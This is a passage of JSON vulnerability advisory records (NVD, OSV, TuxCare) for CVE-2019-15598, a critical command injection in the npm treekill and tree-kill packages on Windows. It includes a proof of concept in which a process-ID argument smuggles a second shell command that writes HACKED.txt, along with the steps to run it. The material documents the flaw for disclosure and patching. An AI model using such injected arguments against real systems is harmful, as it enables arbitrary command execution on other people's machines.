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Install affected module\ndir # Check *HACKED.txt* doesn't exist\nnode poc.js #  Run the PoC\ndir # Now *HACKED.txt* exists :)\n```\n\nThe HACKED.txt has been created","status":"published","published":"2022-05-24T17:04:00Z","modified":"2024-04-22T23:20:00Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:37:44.335614Z"}],"nvd":[{"id":"CVE-2019-15598","description":"A Code Injection exists in treekill on Windows which allows a remote code execution when an attacker is able to control the input into the command.","status":"published","published":"2019-12-18T21:15:12.523Z","modified":"2026-10-23T13:58:00.743Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"},{"version":"2.0","score":7.5,"vector":"AV:N/AC:L/Au:N/C:P/I:P/A:P","level":"high","assessor":"primary"}],"cwes":["CWE-94","CWE-78"],"updated_at":"2026-11-02T14:05:40.856496Z"}],"osv":[{"id":"GHSA-j7fq-p9q7-5wfv","title":"Treekill Enables OS Command Injection","description":"A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.\n\n### Steps To Reproduce:\nCreate the following PoC file:\n\n```js\nvar kill = require('treekill');\nkill('3333332 \u0026 echo \"HACKED\" \u003e HACKED.txt \u0026 ');\n```\n\nExecute the following commands in terminal:\n\n```shell\nnpm i treekill # Install affected module\ndir # Check *HACKED.txt* doesn't exist\nnode poc.js #  Run the PoC\ndir # Now *HACKED.txt* exists :)\n```\n\nThe HACKED.txt has been created","status":"published","published":"2022-05-24T17:04:00Z","modified":"2024-04-22T23:44:02.289143Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:49.977351Z"},{"id":"CLSA-2026-1776731777","title":"TuxCare security update for tree-kill (2 CVEs)","description":"TuxCare rebuilt tree-kill to address 2 CVEs. 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